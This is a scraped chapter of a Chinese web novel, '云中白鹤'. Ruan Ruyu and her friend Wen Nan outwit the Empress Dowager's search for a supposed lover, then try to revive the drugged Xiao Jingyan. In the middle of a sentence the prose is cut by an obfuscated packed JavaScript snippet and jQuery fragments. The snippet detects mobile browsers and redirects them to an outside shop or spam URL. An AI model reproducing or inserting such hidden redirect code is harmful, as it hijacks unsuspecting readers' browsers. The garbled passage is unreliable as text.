40. 惊变

作品:《云中白鹤

    阮如玉的脸上丝毫没有慌乱之态,她不疾不徐道,“太后娘娘怕不是看错了吧,臣屋中并无旁人,不过是一些舞乐署的账册罢了。”


    贾太后听闻“舞乐署”三字,微一挑眉,散漫开口,“这些陈年旧账,阮姑娘看得懂吗?要不要哀家找人帮帮你啊?”


    “臣的确看不太懂,不过臣会好生学习的,就不劳太后娘娘费心了。”


    贾太后上前一步,声音顺着没有梳拢的乌发,拂过她的耳侧,“阮如玉,哀家已经看见你的榻上还有另外一个人了,看在你我同为女子的份儿上,哀家给你一次机会,你如果不想丢了你们阮氏一族的体面,最好按照哀家的意思去做。”


    阮如玉侧脸看她,莫名觉得有几分好笑,“不知,太后娘娘想让臣做什么呢?”


    “立刻交还舞乐署的账册,还有,在操持完长公主的生辰宴之后,向皇上禀明你精神不济,不能成事,自请离开禁苑,从此再不插手内廷中事。”


    “太后娘娘这是想把臣撵出来?”


    “哀家这是在救你。”


    “那还真是多谢太后娘娘了,不过——”阮如玉退后半步,恭敬行礼,“恕臣不能从命。”


    贾太后眸中阴晴不定,半晌,她勾唇轻笑,“好啊,那就别怪哀家了,吟泉。”


    周寺人上前,“太后娘娘。”


    “给哀家仔细搜一搜阮姑娘的床榻,看看上头都藏了什么污秽玩意。”


    阮如玉伸臂挡在门口,“放肆,我看谁敢乱闯!”


    周寺人有些为难,进也不是,退也不是。


    贾太后冷哼一声,“阮如玉,你若是没做亏心事,慌张什么?”


    “臣当然没做亏心事,可是太后娘娘,臣好歹也是世家之女,太学官员,娘娘无缘无故搜查臣的房间,难道不该给臣一个说法吗?”


    “笑话,哀家乃是一国太后,大梁境内有什么地方是哀家去不得的,更何况这是太学,不是你阮府私宅!如若哀家今日一定要搜,你能如何?”


    “太后娘娘若是决意如此,臣当然不敢说什么,只是,臣自觉冤屈,心有不服。”


    “冤屈?阮姑娘这话还是待会再说,更合时宜。”贾太后一把推开了她,“给哀家搜!”


    周寺人带人鱼贯而入,杜恺兮和杜无崖相视一笑,面上得意,都等着看阮如玉的笑话。


    周寺人抓起榻上丝衾,狠心一掀,却不由得愣在了当地。


    杜无崖隔得远,看得不甚真切,却是辨认出榻上的确有一个黑衣男子,于是得意洋洋,指着那人说道,“太后娘娘您瞧,微臣说的可都是真的。”


    贾太后没理会杜无崖,反倒是瞥了眼阮如玉,见她神色依旧从容自若,不觉有点奇怪,贾太后扶门而入,榻上那人同时起身,跪下行礼,“臣女参见太后娘娘,太后娘娘长乐无极。”


    此言一出,众人都愣住了。


    这是什么情况?


    杜无崖揉了揉眼睛,紧紧盯着那人,生怕自己看错了,“文,文姑娘?你怎么会在这儿?”


    文南笑道,“杜大人,我为什么不能在这儿?你们这么多人都过来了,还差我一个吗?”


    杜无崖被噎得说不出话来。


    贾太后眸色一沉,怫然不悦,“杜卿,这就是你口口声声说的私通之人?”


    杜无崖赶紧跪下,“太后娘娘,臣,臣也不知道怎么会这样。”


    贾太后猜想他是受了人的算计,暗骂真是愚蠢,她叹了口气,打量着文南的一身劲装,“文姑娘,你怎么穿成了这样?”


    “太后娘娘恕罪,臣女未曾料到太后娘娘会突然过来,臣女失仪了。”


    “都是小节,也没什么。”贾太后的目光重新落在阮如玉的脸上,“不过阮姑娘怎么也不知会一声呢,还口口声声说这屋里再无旁人。”她指着文南,“怎么,这不是人吗?”


    阮如玉恭敬回话,“此事的确是臣扯谎了,因为文南衣着不甚得体,臣怕太后娘娘见了怪罪,还请太后娘娘恕罪。”


    “罢了。”贾太后看见阮如玉胸有成竹的样子,知道今日是问不出个所以然了,她扶着吟泉的手,微觉困倦,“哀家也乏了,既然是一场误会,就都散了吧。”


    杜无崖心急如焚,哪里愿意错过这么好的机会,他连忙膝行两步,抱住贾太后的双腿,“太后娘娘,裴义中了迷药,他跑不远的,他现在一定就在这儿附近,太后娘娘派人去追,一定能追得到!”


    贾太后看着他的模样,更觉厌恶,她一脚踹开杜无崖,怒斥,“真是愚不可及!你今天丢人丢得还不够吗?还不赶紧和哀家离开,还要在这儿丢人现眼不成?”


    “太后娘娘请留步。”阮如玉缓步上前,行了一礼,“太后娘娘,今日杜大人无缘无故引了这么多人来此,还将私通的罪名扣在了臣的身上,如若太后娘娘不惩治兴风作浪之人,只怕不消两日,流言蜚语,便会甚嚣尘上,又如何还臣一个清白?”


    贾太后凝眸看她,“你待如何?”


    “请太后娘娘严惩礼经博士杜恺兮、吏部尚书杜无崖,否则,臣为了自己的清白,还有阮氏一族的清名,定会去御前为自己讨回一个公道。”


    “好啊,哀家从前还真是小看了你。”


    阮如玉淡然道,“谢太后娘娘赞誉。”


    贾太后怒极反笑,目光扫过跪在地上的杜恺兮和杜无崖,“传哀家旨意,杜恺兮妄口诬蔑,行动无仪,即日起,革去乐经博士一职,闭门思过去吧,至于杜无崖……”她垂眸看着跪在自己身下的杜无崖,他此刻鼻涕一把泪一把,哭道,“太后娘娘,臣对娘娘是忠心的呀。”


    贾太后虽然瞧不起他这副没出息的样子,但毕竟是自己的人,不能不保,于是无奈开口,“杜无崖也是听信了杜恺兮的一面之词,罚俸三个月也就是了。”


    阮如玉知道眼下还不是彻底铲除杜家的时候,能除掉杜恺兮已经是意外之喜了,她见好就收,行礼道,“臣,谢过太后娘娘。”


    贾太后似笑非笑,“阮如玉,哀家给了你机会,你却没有抓住,你早晚有一天会后悔的。”


    阮如玉默了默,正色道,“臣不问前路荆棘,但求无愧己心。”


    贾太后一言不发,拂袖而去,杜无崖狼狈地从地上爬起来,跟在她的身后。


    看见贾太后一行人走远了,阮如玉这才松了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12670978|131502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口气,她握住文南的手,“今日多亏了你。”


    原来,文南当时正好撞见杜恺兮慌慌张张从乐馆出来的身影,心里起了疑心。


    文南才推开乐馆的门,就瞧见裴义和阮如玉倒在一处的模样,她心说不好,赶紧命文府下人取了药来,试图唤醒二人,阮如玉服了药,倒是很快就醒了,可裴义却始终昏迷,万般无奈之下,她只得先将裴义送到自己府上,又换上男子衣衫,陪阮如玉演了这么一出戏。


    文南回握住她的手,“今日着实凶险,如玉,你怎么就和裴义走到一块儿了呢?难不成裴义也是贾太后派来算计你的?”


    阮如玉摇摇头,却也不知道该如何同她解释,萧景衍的身份眼下还不能声张,知道的人越少越好,于是她说,“文南,这件事我以后再解释给你听,好吗?”


    文南虽然不明白其中究竟,但她还是点点头,“好。”


    “裴义怎么样了?醒了没有?”


    文南叹气,“半个时辰前,下人来回了一次话,说是还没醒。”


    阮如玉皱眉,“还没醒?不是已经服过药了吗?”


    文南犹豫了一下,“如玉,我听下人的意思是,他的情况很不好,为了稳妥起见,我们还是把他送回裴府吧,这样真出了什么事,也不至于牵连到我们。”


    阮如玉断然回绝,“不行,裴家那帮人没有一个真心对他的,他眼下这个情况,真把他送回去就完了,小菁,你马上去找阿兄,叫他去文府一趟,文南,你带我一起回府。”


    “好吧。”


    二人赶到时,阮文卓早就已经到了,他一身酒气,呛得阮如玉忍不住掩住鼻息,“阿兄,你这是怎么了?”


    小菁插嘴,“可别提了,我方才找了一圈都没找见公子的人影,最后竟是在池塘里瞧见了他,亏他吃了这么多酒,人倒还算清醒,听说你有事找他,立刻换了衣裳就过来了。”


    阮文卓垂头嗅了嗅,“还有味道吗?我怎么闻不见?”


    阮如玉面有担忧,“阿兄,你到底怎么了?”


    阮文卓敷衍她,“好些日子没痛痛快快喝一场了,如玉,你少管我啊,不是要救人吗,还不赶紧着?”


    阮如玉惦记萧景衍的伤势,也只得先将此事搁下,随阮文卓一同进了屋子。


    文南在外将门关好,又吩咐了文府下人不准将此事说出去。


    萧景衍躺在榻上,面容苍白,好似清冷月色。


    阮文卓搭个边儿坐下,他伸指探了探萧景衍的脉象,眉头深锁。


    阮如玉看他迟迟不说话,急道,“阿兄,他怎么样?”


    阮文卓叹了口气,他将萧景衍的手重新掖回了被子里,明明已是炎炎夏日,可萧景衍的身上却是冰凉一片,没有半分温度。


    “他本就中毒日久,体力不济,还不知道爱惜自己,白白折损了许多心力,今日又被这迷香迷了心智,跌入了幻境,只怕一时半刻,很难醒转过来。”


    “幻境?是梦吗?”


    “算是一种梦吧,只是做梦很容易醒,但陷入幻境,却很难从中挣脱出来。”他顿了顿,继续说道,“如果他一直醒不过来,他或许会死在梦里。”